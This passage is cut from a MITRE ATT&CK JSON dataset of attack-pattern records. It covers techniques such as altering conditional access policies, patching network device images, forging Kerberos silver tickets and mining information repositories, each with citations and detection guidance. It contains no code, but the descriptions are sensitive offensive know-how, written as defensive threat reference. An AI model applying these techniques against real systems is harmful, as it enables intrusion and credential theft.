            "description": "Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Gavin Knapp",
                "Joshua Penny"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS",
                "Identity Provider"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Modification",
                "Cloud Service: Cloud Service Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c",
            "created": "2020-05-14T14:45:15.978Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1578/002",
                    "external_id": "T1578.002"
                },
                {
                    "source_name": "AWS CloudTrail Search",
                    "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"
                },
                {
                    "source_name": "Cloud Audit Logs",
                    "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.",
                    "url": "https://cloud.google.com/logging/docs/audit#admin-activity"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                },
                {
                    "source_name": "Azure Activity Logs",
                    "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.",
                    "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:10:54.239Z",
            "name": "Create Cloud Instance",
            "description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the <code>RunInstances</code> event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances create</code> to create a VM.(Citation: Cloud Audit Logs)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Instance: Instance Creation",
                "Instance: Instance Metadata"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925",
            "created": "2019-04-25T20:53:07.719Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1500",
                    "external_id": "T1500"
                },
                {
                    "source_name": "ClearSky MuddyWater Nov 2018",
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"
                },
                {
                    "source_name": "TrendMicro WindowsAppMac",
                    "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:16:11.353Z",
            "name": "Compile After Delivery",
            "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.",
            "x_mitre_domains": [
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            ],
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                    "external_id": "T1555.006"
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                    "source_name": "Sysdig ScarletEel 2.0 2023",
                    "description": "Alessandro Brucato. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved September 25, 2023.",
                    "url": "https://sysdig.com/blog/scarleteel-2-0/"
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                    "source_name": "AWS Secrets Manager",
                    "description": "AWS. (n.d.). Retrieve secrets from AWS Secrets Manager. Retrieved September 25, 2023.",
                    "url": "https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html"
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                    "source_name": "Google Cloud Secrets",
                    "description": "Google Cloud. (n.d.). List secrets and view secret details. Retrieved September 25, 2023.",
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                    "source_name": "Permiso Scattered Spider 2023",
                    "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
                    "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
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                    "description": "Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.",
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                    "source_name": "Arctic Wolf",
                    "description": "Julian Tuin, Stefan Hostetler, Jon Grimm, Aaron Diaz, and Trevor Daher. (2024, November 22). Arctic Wolf Observes Threat Campaign Targeting Palo Alto Networks Firewall Devices. Retrieved January 8, 2025.",
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                    "description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.",
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                {
                    "source_name": "nixCraft - John the Ripper",
                    "description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.",
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                    "external_id": "T1543.001"
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                    "source_name": "AppleDocs Launch Agent Daemons",
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                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
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                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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                {
                    "source_name": "OSX Malware Detection",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
                    "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
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                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                },
                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
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                    "source_name": "SSH in Windows",
                    "description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh"
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            "name": "Windows Command Shell",
            "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.",
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            "type": "attack-pattern",
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            "id": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591",
            "created": "2020-01-14T01:34:10.588Z",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1055/009",
                    "external_id": "T1055.009"
                },
                {
                    "source_name": "Uninformed Needle",
                    "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
                    "url": "http://hick.org/code/skape/papers/needle.txt"
                },
                {
                    "source_name": "GDS Linux Injection",
                    "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.",
                    "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html"
                },
                {
                    "source_name": "DD Man",
                    "description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.",
                    "url": "http://man7.org/linux/man-pages/man1/dd.1.html"
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            "x_mitre_detection": "File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
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            "x_mitre_version": "1.1",
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            "id": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1223",
                    "external_id": "T1223"
                },
                {
                    "source_name": "Microsoft HTML Help May 2018",
                    "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"
                },
                {
                    "source_name": "Microsoft HTML Help ActiveX",
                    "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
                    "url": "https://msdn.microsoft.com/windows/desktop/ms644670"
                },
                {
                    "source_name": "Microsoft HTML Help Executable Program",
                    "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
                    "url": "https://msdn.microsoft.com/windows/desktop/ms524405"
                },
                {
                    "source_name": "MsitPros CHM Aug 2017",
                    "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
                    "url": "https://msitpros.com/?p=3909"
                },
                {
                    "source_name": "Microsoft CVE-2017-8625 Aug 2017",
                    "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
                    "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625"
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            "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.",
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            "id": "attack-pattern--d21bb61f-08ad-4dc1-b001-81ca6cb79954",
            "created": "2023-03-10T15:37:21.782Z",
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                {
                    "source_name": "Krebs Access Brokers Fortune 500",
                    "description": "Brian Krebs. (2012, October 22). Service Sells Access to Fortune 500 Firms. Retrieved March 10, 2023.",
                    "url": "https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/"
                },
                {
                    "source_name": "CrowdStrike Access Brokers",
                    "description": "CrowdStrike Intelligence Team. (2022, February 23). Access Brokers: Who Are the Targets, and What Are They Worth?. Retrieved March 10, 2023.",
                    "url": "https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/"
                },
                {
                    "source_name": "CISA Karakurt 2022",
                    "description": "Cybersecurity Infrastructure and Defense Agency. (2022, June 2). Karakurt Data Extortion Group. Retrieved March 10, 2023.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a"
                },
                {
                    "source_name": "Microsoft Ransomware as a Service",
                    "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"
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            "modified": "2025-04-15T21:43:51.840Z",
            "name": "Acquire Access",
            "description": "Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a \u201cload\u201d that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)\n\nBy leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)\n\nIn some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).\n\n**Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
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                    "phase_name": "resource-development"
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. ",
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            "created": "2020-10-19T19:49:24.129Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1601/001",
                    "external_id": "T1601.001"
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                {
                    "source_name": "Killing the myth of Cisco IOS rootkits",
                    "description": "Sebastian 'topo' Mu\u00f1iz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020.",
                    "url": "https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf"
                },
                {
                    "source_name": "Killing IOS diversity myth",
                    "description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.",
                    "url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf"
                },
                {
                    "source_name": "Cisco IOS Shellcode",
                    "description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.",
                    "url": "http://2015.zeronights.org/assets/files/05-Nosenko.pdf"
                },
                {
                    "source_name": "Cisco IOS Forensics Developments",
                    "description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020.",
                    "url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf"
                },
                {
                    "source_name": "Juniper Netscreen of the Dead",
                    "description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.",
                    "url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf"
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                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
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            "modified": "2025-04-25T14:48:09.178Z",
            "name": "Patch System Image",
            "description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.  The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.  This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.  Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory.  This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).  Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.   When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.  By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.  However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ",
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                    "source_name": "ADSecurity Silver Tickets",
                    "description": "Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.",
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                    "source_name": "ADSecurity Detecting Forged Tickets",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
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                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
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            "modified": "2025-04-25T14:48:09.547Z",
            "name": "Silver Ticket",
            "description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1213",
                    "external_id": "T1213"
                },
                {
                    "source_name": "Mitiga",
                    "description": "Ariel Szarf, Doron Karmi, and Lionel Saposnik. (n.d.). Oops, I Leaked It Again \u2014 How Mitiga Found PII in Exposed Amazon RDS Snapshots. Retrieved September 24, 2024.",
                    "url": "https://www.mitiga.io/blog/how-mitiga-found-pii-in-exposed-amazon-rds-snapshots"
                },
                {
                    "source_name": "Atlassian Confluence Logging",
                    "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
                    "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
                },
                {
                    "source_name": "TrendMicro Exposed Redis 2020",
                    "description": "David Fiser and Jaromir Horejsi. (2020, April 21). Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining. Retrieved September 25, 2024.",
                    "url": "https://www.trendmicro.com/en_us/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html"
                },
                {
                    "source_name": "Microsoft SharePoint Logging",
                    "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
                    "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
                },
                {
                    "source_name": "Sharepoint Sharing Events",
                    "description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events"
                },
                {
                    "source_name": "Cybernews Reuters Leak 2022",
                    "description": "Vilius Petkauskas . (2022, November 3). Thomson Reuters collected and leaked at least 3TB of sensitive data. Retrieved September 25, 2024.",
                    "url": "https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/"
                }
            ],
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            "modified": "2025-04-15T22:15:46.213Z",
            "name": "Data from Information Repositories",
            "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) \n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) \n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases \n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams \n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Regina Elwell",
                "Praetorian",
                "Milos Stojadinovic",
                "Isif Ibrahima, Mandiant",
                "Obsidian Security",
                "Naveen Vijayaraghavan",
                "Nilesh Dherange (Gurucul)"
            ],
